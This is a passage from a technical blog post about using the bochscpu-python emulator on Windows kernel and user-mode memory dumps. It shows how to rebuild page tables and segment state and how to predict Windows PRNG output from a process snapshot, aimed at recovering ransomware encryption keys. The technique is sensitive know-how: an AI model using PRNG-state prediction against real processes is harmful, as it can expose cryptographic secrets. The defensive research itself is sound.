&lt;&#x2F;span&gt;&lt;span&gt;Executing RIP=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xfffff80720a9d4d4&lt;&#x2F;span&gt;&lt;span&gt; on cpu_id=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;Executing RIP=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xfffff80720a9d4dc&lt;&#x2F;span&gt;&lt;span&gt; on cpu_id=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;Executing RIP=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xfffff80720a9d4e1&lt;&#x2F;span&gt;&lt;span&gt; on cpu_id=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;Executing RIP=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xfffff80720a9d4e8&lt;&#x2F;span&gt;&lt;span&gt; on cpu_id=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;Executing RIP=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xfffff80720a9d4ec&lt;&#x2F;span&gt;&lt;span&gt; on cpu_id=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;For a complete and more detailed example, the reader can refer to the example in the &lt;code&gt;bochscpu-python&lt;&#x2F;code&gt; repository: &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;bochscpu-python&#x2F;blob&#x2F;main&#x2F;examples&#x2F;long_mode_emulate_windows_kdump.py&quot;&gt;examples&#x2F;long_mode_emulate_windows_kdump.py&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;windows-user-mode-emulation&quot;&gt;Windows User-mode emulation&lt;&#x2F;h2&gt;
&lt;p&gt;There are way more than one way of snapshotting a process on Windows (like WinDbg, Task Manager, &lt;code&gt;procdump&lt;&#x2F;code&gt;, &lt;code&gt;processhacker&lt;&#x2F;code&gt;, etc.) so I will skip and assume you have a snapshot ready.&lt;&#x2F;p&gt;
&lt;p&gt;Emulating usermode code on BochsCPU turned out to be slightly more tricky than kernel mode: the kernel dump includes an almost complete OS snapshot include all the kernel sections required by the MMU to function properly and all what was needed was to map those pages to Bochs whenever they were needed.&lt;&#x2F;p&gt;
&lt;p&gt;A user-mode dump on Windows does not include any of those information but only that related to the usermode process itself - which, despite being already a lot of information, is insufficient to simply re-use what was done for kernel mode emulation. And we must remember that BochsCPU is only, well, the CPU: meaning it can execute anything but it needs to have everything set it up, such as the processor mode (real, protected, long), the map pages, etc. But then, if the process runs in protected&#x2F;long mode, memory accesses via the MMU must also be correctly laid off so ensure the VirtualAddress → PhysicalAddress translation works. We therefore, are required to build own page table for the process. Since this process is &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.osdev.org&#x2F;Page_Tables&quot;&gt;documented&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;software.intel.com&#x2F;en-us&#x2F;articles&#x2F;intel-sdm&quot;&gt;everywhere&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.memorymanagement.org&#x2F;&quot;&gt;on the Internet&lt;&#x2F;a&gt;, I will assume the reader to be familiar and skip this part by mentioning that &lt;code&gt;bochscpu-python&lt;&#x2F;code&gt; provides an easy way to expedite the process of setting things up:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;dmp = udmp_parser.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;UserDumpParser&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;assert &lt;&#x2F;span&gt;&lt;span&gt;dmp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Parse&lt;&#x2F;span&gt;&lt;span&gt;(dmp_path)
&lt;&#x2F;span&gt;&lt;span&gt;pt = bochscpu.memory.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PageMapLevel4Table&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;pa = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PA_START_ADDRESS
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# Collect the memory regions from the Windows dump
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# For each region, insert a new PT entry
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;, region &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;dmp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Memory&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;items&lt;&#x2F;span&gt;&lt;span&gt;():
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;region.State == &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MEM_FREE &lt;&#x2F;span&gt;&lt;span&gt;or region.Protect == &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PAGE_NOACCESS&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;continue
&lt;&#x2F;span&gt;&lt;span&gt;    start, end = region.BaseAddress, region.BaseAddress + region.RegionSize
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;va &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(start, end, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PAGE_SIZE&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        flags = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;convert_region_protection&lt;&#x2F;span&gt;&lt;span&gt;(region.Protect)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;flags &amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;break
&lt;&#x2F;span&gt;&lt;span&gt;        pt.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;insert&lt;&#x2F;span&gt;&lt;span&gt;(va, pa, flags)
&lt;&#x2F;span&gt;&lt;span&gt;        hva = bochscpu.memory.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;allocate_host_page&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;        bochscpu.memory.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;page_insert&lt;&#x2F;span&gt;&lt;span&gt;(pa, hva)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Mapped &lt;&#x2F;span&gt;&lt;span&gt;{va&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;:#x&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; to &lt;&#x2F;span&gt;&lt;span&gt;{pa&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;:#x&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; with &lt;&#x2F;span&gt;&lt;span&gt;{flags&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\r&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;end&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;        pa += &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PAGE_SIZE
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# Commit all the changes, resulting in a valid PT setup for the VM
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;hva, gpa &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;pt.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;commit&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PML4_ADDRESS&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    bochscpu.memory.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;page_insert&lt;&#x2F;span&gt;&lt;span&gt;(gpa, hva)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;A couple of other things are required: the first one is that just like for what was done for kernel dumps, we must import all registers (GPR, flags).
Another thing (but related) relies in the thread selection: when the VM execution will resume, the CPU cannot work without relying on the segment registers, which are provided from its state by the values set in the CS, DS, SS segment registers. Thankfully those values can be retrieved straight from the dump:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;threads = dmp.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Threads&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;tids = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;(threads.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;keys&lt;&#x2F;span&gt;&lt;span&gt;())
&lt;&#x2F;span&gt;&lt;span&gt;tid = tids[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# whatever teh first thread is, but TID can be hardcoded too
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;switch_to_thread&lt;&#x2F;span&gt;&lt;span&gt;(state, threads[tid])
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;switch_to_thread&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;state&lt;&#x2F;span&gt;&lt;span&gt;: bochscpu.State, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;thread&lt;&#x2F;span&gt;&lt;span&gt;: udmp_parser.Thread):
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# build CS
&lt;&#x2F;span&gt;&lt;span&gt;  _cs = bochscpu.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Segment&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;  _cs.base = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;  _cs.limit = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xFFFF_FFFF
&lt;&#x2F;span&gt;&lt;span&gt;  _cs.selector = thread.Context.SegCs
&lt;&#x2F;span&gt;&lt;span&gt;  _cs_attr = bochscpu.cpu.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;SegmentFlags&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;  _cs_attr.A = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span&gt;  _cs_attr.R = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span&gt;  _cs_attr.E = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span&gt;  _cs_attr.S = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span&gt;  _cs_attr.P = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span&gt;  _cs_attr.L = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span&gt;  _cs.attr = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(_cs_attr)
&lt;&#x2F;span&gt;&lt;span&gt;  state.cs = _cs
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# do the same for the others (obvisouly adjusting values&#x2F;flags)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Similarly not the CPU but Windows also requires the FS (for protected and long modes) and the GS registers (in long mode).&lt;&#x2F;p&gt;
&lt;p&gt;Ok, now we have built everything need for the emulation to run successfully in a Windows environment. Let’s focus on what could we want to execute next…&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pgtfo&quot;&gt;PGTFO&lt;&#x2F;h3&gt;
&lt;p&gt;TL;DR You can predict through emulation the values of Windows PRNG (see &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;bochscpu-python&#x2F;blob&#x2F;main&#x2F;examples&#x2F;long_mode_emulate_windows_udump.py&quot;&gt;examples&#x2F;long_mode_emulate_windows_udump.py&lt;&#x2F;a&gt;)&lt;&#x2F;p&gt;
&lt;p&gt;Coincidentally as part of some research I was doing for work on ransomware, I examined the possibility of retrieving session keys used by ransomware, by snapshotting culprit ransomware processes, and generating a using memory dumps using canary files (the full article is available &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.elastic.co&#x2F;security-labs&#x2F;ransomware-in-the-honeypot-how-we-capture-keys&quot;&gt;here&lt;&#x2F;a&gt; if interested). As thoroughly detailed in the article, investigating &lt;code&gt;WANNACRY&lt;&#x2F;code&gt; revealed that it uses Windows PRNG to create the AES128 keys for each file. Which triggered the idea behind that post, which was that by using canary files to detect ransomware encryption early one, and generating a dump of the process at that point, can we retrieve all the subsequent symmetric keys (and essentially making ourselves a free decryptor).&lt;&#x2F;p&gt;
&lt;p&gt;Since snapshotting the process gives us the current state of the PRNG for that process, we can now use emulation to discover the following values. A basic PoC for it would be as follow:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;windows.h&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;wincrypt.h&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;stdio.h&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#pragma&lt;&#x2F;span&gt;&lt;span&gt; comment(lib, &amp;quot;advapi32.lib&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    HCRYPTPROV hCryptProv;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CryptAcquireContext&lt;&#x2F;span&gt;&lt;span&gt;(&amp;amp;hCryptProv, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;PID=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%lu&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;, hProv=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Dump and press enter&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;GetCurrentProcessId&lt;&#x2F;span&gt;&lt;span&gt;(), (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span&gt;*)hCryptProv);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;getchar&lt;&#x2F;span&gt;&lt;span&gt;(); &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; We break here and snapshot the process
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; i &amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;; i++)
&lt;&#x2F;span&gt;&lt;span&gt;    {
&lt;&#x2F;span&gt;&lt;span&gt;        BYTE randomBytes[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;] = {&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;};
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CryptGenRandom&lt;&#x2F;span&gt;&lt;span&gt;(hCryptProv, sizeof(randomBytes), randomBytes)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Random bytes: &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; i &amp;lt; sizeof(randomBytes); i++)
&lt;&#x2F;span&gt;&lt;span&gt;          &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%02X &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, randomBytes[i]);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CryptReleaseContext&lt;&#x2F;span&gt;&lt;span&gt;(hCryptProv, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;d9e336f7-602d-4efb-8234-0630e0d54f72.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;d9e336f7-602d-4efb-8234-0630e0d54f72.png&quot;

    

    
    title=&quot;Get the dump&quot;
    alt=&quot;Get the dump&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Continuing our emulator from above, we can now invoke directly any function (here we’re interested in &lt;code&gt;cryptbase!SystemFunction036&lt;&#x2F;code&gt;) in the dump:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;logging.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;debug&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Resolving &amp;#39;cryptbase!SystemFunction036&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;fn_start = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;resolve_function&lt;&#x2F;span&gt;&lt;span&gt;(fn_sym)
&lt;&#x2F;span&gt;&lt;span&gt;fn_end = fn_start + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1C &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# hardcode the end address of the function for now
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;state.rcx = temp_buffer_va
&lt;&#x2F;span&gt;&lt;span&gt;state.rdx = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;16
&lt;&#x2F;span&gt;&lt;span&gt;state.rip = fn_start
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;hook = bochscpu.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Hook&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;hook.before_execution = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;lambda &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;: s.cpu.state.rip == fn_end and s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;stop&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;sess.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;run&lt;&#x2F;span&gt;&lt;span&gt;([hook,])
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And we can successfully dump all future values:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;a0641b11-efdc-4d06-84af-51d404cf0ed5.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;a0641b11-efdc-4d06-84af-51d404cf0ed5.png&quot;

    

    
    title=&quot;emulate&quot;
    alt=&quot;emulate&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Same values, mission accomplished.&lt;&#x2F;p&gt;
